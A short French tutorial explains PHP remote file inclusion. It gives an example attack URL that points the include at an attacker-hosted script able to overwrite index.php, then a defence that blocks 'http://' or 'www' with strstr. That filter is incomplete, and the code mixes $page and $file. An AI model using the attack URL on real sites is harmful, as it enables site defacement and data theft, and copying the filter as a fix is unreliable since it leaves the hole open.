Et si votre site contenait une grosse faille de sécurité  : la faille include de php ????

Si vous avez des liens du type :

http://www.site.com/linux/index.php?file=intro.php

Alors pas problème ...

Le problème est qu’il n’y a peut
être pas de vérification sur $page avant l’include...

donc si on fait
http://www.site.com/linux/index.php?file=http://mon_site/hack

et si le fichier hack sur mon site
contient du code comme :

< ?php

$f=fopen("index.php", "w") ;

...

 ?>

On est capable d’écrire sur
l’index...

Pour boucher cette faille, il fait
faire des tests sur $page.

Si vous n’incluez que des fichiers php,
vous pouvez faire include($page.".php") comme ça les
liens seront :

http://www.site.com/linux/index.php?file=intro

Dans tous les cas, il faut ABSOLUMENT
refuser les $page contenant "http://" ou "www"
 !!!! pour éviter l’include à distance.

Il existe bien d’autres méthodes
de protection, je vous revoie sur internet, recherchez "faille
include php protection" dans google...

Cette faille est très sensible,
car on peut accéder à toutes les sources de vos
fichiers et y pécher des informations sensibles comme vos mots
de passe mysql par exemple, ou obtenir TOUTE votre base de donnée,
donc sur un site marchand toutes les informations des personnes
enregistrées (login, mot de passe, email, etc...).

Un exemple de teste a faire avant
d’effectuer un include :

if (strstr($file, "http://"))
$file="index.php" ;